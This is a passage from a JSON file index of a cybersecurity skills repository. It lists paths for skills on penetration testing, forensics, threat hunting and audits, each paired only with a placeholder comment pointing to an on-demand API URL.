-->","skills/performing-ransomware-tabletop-exercise/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fstandards.md -->","skills/performing-ransomware-tabletop-exercise/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fworkflows.md -->","skills/performing-red-team-phishing-with-gophish/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-phishing-with-gophish%2FSKILL.md -->","skills/performing-red-team-phishing-with-gophish/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-phishing-with-gophish%2Freferences%2Fapi-reference.md -->","skills/performing-red-team-with-covenant/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-with-covenant%2FSKILL.md -->","skills/performing-red-team-with-covenant/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-with-covenant%2Freferences%2Fapi-reference.md -->","skills/performing-s7comm-protocol-security-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-s7comm-protocol-security-analysis%2FSKILL.md -->","skills/performing-s7comm-protocol-security-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-s7comm-protocol-security-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-sca-dependency-scanning-with-snyk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2FSKILL.md -->","skills/performing-sca-dependency-scanning-with-snyk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Fassets%2Ftemplate.md -->","skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fapi-reference.md -->","skills/performing-sca-dependency-scanning-with-snyk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fstandards.md -->","skills/performing-sca-dependency-scanning-with-snyk/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fworkflows.md -->","skills/performing-scada-hmi-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-scada-hmi-security-assessment%2FSKILL.md -->","skills/performing-scada-hmi-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-scada-hmi-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-second-order-sql-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-second-order-sql-injection%2FSKILL.md -->","skills/performing-second-order-sql-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-second-order-sql-injection%2Freferences%2Fapi-reference.md -->","skills/performing-security-headers-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-security-headers-audit%2FSKILL.md -->","skills/performing-security-headers-audit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-security-headers-audit%2Freferences%2Fapi-reference.md -->","skills/performing-serverless-function-security-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-serverless-function-security-review%2FSKILL.md -->","skills/performing-serverless-function-security-review/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-serverless-function-security-review%2Freferences%2Fapi-reference.md -->","skills/performing-service-account-audit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2FSKILL.md -->","skills/performing-service-account-audit/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Fassets%2Ftemplate.md -->","skills/performing-service-account-audit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fapi-reference.md -->","skills/performing-service-account-audit/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fstandards.md -->","skills/performing-service-account-audit/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fworkflows.md -->","skills/performing-service-account-credential-rotation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2FSKILL.md -->","skills/performing-service-account-credential-rotation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Fassets%2Ftemplate.md -->","skills/performing-service-account-credential-rotation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fapi-reference.md -->","skills/performing-service-account-credential-rotation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fstandards.md -->","skills/performing-service-account-credential-rotation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fworkflows.md -->","skills/performing-soap-web-service-security-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soap-web-service-security-testing%2FSKILL.md -->","skills/performing-soap-web-service-security-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soap-web-service-security-testing%2Freferences%2Fapi-reference.md -->","skills/performing-soc-tabletop-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc-tabletop-exercise%2FSKILL.md -->","skills/performing-soc-tabletop-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc-tabletop-exercise%2Freferences%2Fapi-reference.md -->","skills/performing-soc2-type2-audit-preparation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2FSKILL.md -->","skills/performing-soc2-type2-audit-preparation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Fassets%2Ftemplate.md -->","skills/performing-soc2-type2-audit-preparation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fapi-reference.md -->","skills/performing-soc2-type2-audit-preparation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fstandards.md -->","skills/performing-soc2-type2-audit-preparation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fworkflows.md -->","skills/performing-sqlite-database-forensics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2FSKILL.md -->","skills/performing-sqlite-database-forensics/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Fassets%2Ftemplate.md -->","skills/performing-sqlite-database-forensics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fapi-reference.md -->","skills/performing-sqlite-database-forensics/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fstandards.md -->","skills/performing-sqlite-database-forensics/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fworkflows.md -->","skills/performing-ssl-certificate-lifecycle-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2FSKILL.md -->","skills/performing-ssl-certificate-lifecycle-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Fassets%2Ftemplate.md -->","skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fapi-reference.md -->","skills/performing-ssl-certificate-lifecycle-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fstandards.md -->","skills/performing-ssl-certificate-lifecycle-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fworkflows.md -->","skills/performing-ssl-stripping-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-stripping-attack%2FSKILL.md -->","skills/performing-ssl-stripping-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-stripping-attack%2Freferences%2Fapi-reference.md -->","skills/performing-ssl-tls-inspection-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-inspection-configuration%2FSKILL.md -->","skills/performing-ssl-tls-inspection-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-inspection-configuration%2Freferences%2Fapi-reference.md -->","skills/performing-ssl-tls-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-security-assessment%2FSKILL.md -->","skills/performing-ssl-tls-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-ssrf-vulnerability-exploitation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssrf-vulnerability-exploitation%2FSKILL.md -->","skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssrf-vulnerability-exploitation%2Freferences%2Fapi-reference.md -->","skills/performing-static-malware-analysis-with-pe-studio/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-static-malware-analysis-with-pe-studio%2FSKILL.md -->","skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-static-malware-analysis-with-pe-studio%2Freferences%2Fapi-reference.md -->","skills/performing-steganography-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-steganography-detection%2FSKILL.md -->","skills/performing-steganography-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-steganography-detection%2Freferences%2Fapi-reference.md -->","skills/performing-subdomain-enumeration-with-subfinder/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2FSKILL.md -->","skills/performing-subdomain-enumeration-with-subfinder/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Fassets%2Ftemplate.md -->","skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fapi-reference.md -->","skills/performing-subdomain-enumeration-with-subfinder/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fstandards.md -->","skills/performing-subdomain-enumeration-with-subfinder/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fworkflows.md -->","skills/performing-supply-chain-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-supply-chain-attack-simulation%2FSKILL.md -->","skills/performing-supply-chain-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-supply-chain-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-thick-client-application-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2FSKILL.md -->","skills/performing-thick-client-application-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-thick-client-application-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-thick-client-application-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-thick-client-application-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-threat-emulation-with-atomic-red-team/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-emulation-with-atomic-red-team%2FSKILL.md -->","skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-emulation-with-atomic-red-team%2Freferences%2Fapi-reference.md -->","skills/performing-threat-hunting-with-elastic-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-elastic-siem%2FSKILL.md -->","skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-elastic-siem%2Freferences%2Fapi-reference.md -->","skills/performing-threat-hunting-with-yara-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-yara-rules%2FSKILL.md -->","skills/performing-threat-hunting-with-yara-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-yara-rules%2Freferences%2Fapi-reference.md -->","skills/performing-threat-intelligence-sharing-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-intelligence-sharing-with-misp%2FSKILL.md -->","skills/performing-threat-intelligence-sharing-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-intelligence-sharing-with-misp%2Freferences%2Fapi-reference.md -->","skills/performing-threat-landscape-assessment-for-sector/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-landscape-assessment-for-sector%2FSKILL.md -->","skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-landscape-assessment-for-sector%2Freferences%2Fapi-reference.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2FSKILL.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Fassets%2Ftemplate.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fapi-reference.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fstandards.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fworkflows.md -->","skills/performing-timeline-reconstruction-with-plaso/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-timeline-reconstruction-with-plaso%2FSKILL.md -->","skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-timeline-reconstruction-with-plaso%2Freferences%2Fapi-reference.md -->","skills/performing-user-behavior-analytics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-user-behavior-analytics%2FSKILL.md -->","skills/performing-user-behavior-analytics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-user-behavior-analytics%2Freferences%2Fapi-reference.md -->","skills/performing-vlan-hopping-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vlan-hopping-attack%2FSKILL.md -->","skills/performing-vlan-hopping-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vlan-hopping-attack%2Freferences%2Fapi-reference.md -->","skills/performing-vulnerability-scanning-with-nessus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vulnerability-scanning-with-nessus%2FSKILL.md -->","skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vulnerability-scanning-with-nessus%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-firewall-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-firewall-bypass%2FSKILL.md -->","skills/performing-web-application-firewall-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-firewall-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-penetration-test%2FSKILL.md -->","skills/performing-web-application-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-scanning-with-nikto/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2FSKILL.md -->","skills/performing-web-application-scanning-with-nikto/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Fassets%2Ftemplate.md -->","skills/performing-web-application-scanning-with-nikto/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-scanning-with-nikto/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fstandards.md -->","skills/performing-web-application-scanning-with-nikto/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fworkflows.md -->","skills/performing-web-application-vulnerability-triage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2FSKILL.md -->","skills/performing-web-application-vulnerability-triage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-vulnerability-triage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fstandards.md -->","skills/performing-web-application-vulnerability-triage/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fworkflows.md -->","skills/performing-web-cache-deception-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-deception-attack%2FSKILL.md -->","skills/performing-web-cache-deception-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-deception-attack%2Freferences%2Fapi-reference.md -->","skills/performing-web-cache-poisoning-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-poisoning-attack%2FSKILL.md -->","skills/performing-web-cache-poisoning-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-poisoning-attack%2Freferences%2Fapi-reference.md -->","skills/performing-wifi-password-cracking-with-aircrack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wifi-password-cracking-with-aircrack%2FSKILL.md -->","skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wifi-password-cracking-with-aircrack%2Freferences%2Fapi-reference.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2FSKILL.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Fassets%2Ftemplate.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fapi-reference.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fstandards.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fworkflows.md -->","skills/performing-wireless-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2FSKILL.md -->","skills/performing-wireless-network-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-wireless-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-wireless-network-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-wireless-network-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-wireless-security-assessment-with-kismet/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-security-assessment-with-kismet%2FSKILL.md -->","skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-security-assessment-with-kismet%2Freferences%2Fapi-reference.md -->","skills/performing-yara-rule-development-for-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2FSKILL.md -->","skills/performing-yara-rule-development-for-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Fassets%2Ftemplate.md -->","skills/performing-yara-rule-development-for-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fapi-reference.md -->","skills/performing-yara-rule-development-for-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fstandards.md -->","skills/performing-yara-rule-development-for-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fworkflows.md -->","skills/post-exploiting-microsoft-graph-with-graphrunner/SKILL.md":"<!-- Skill 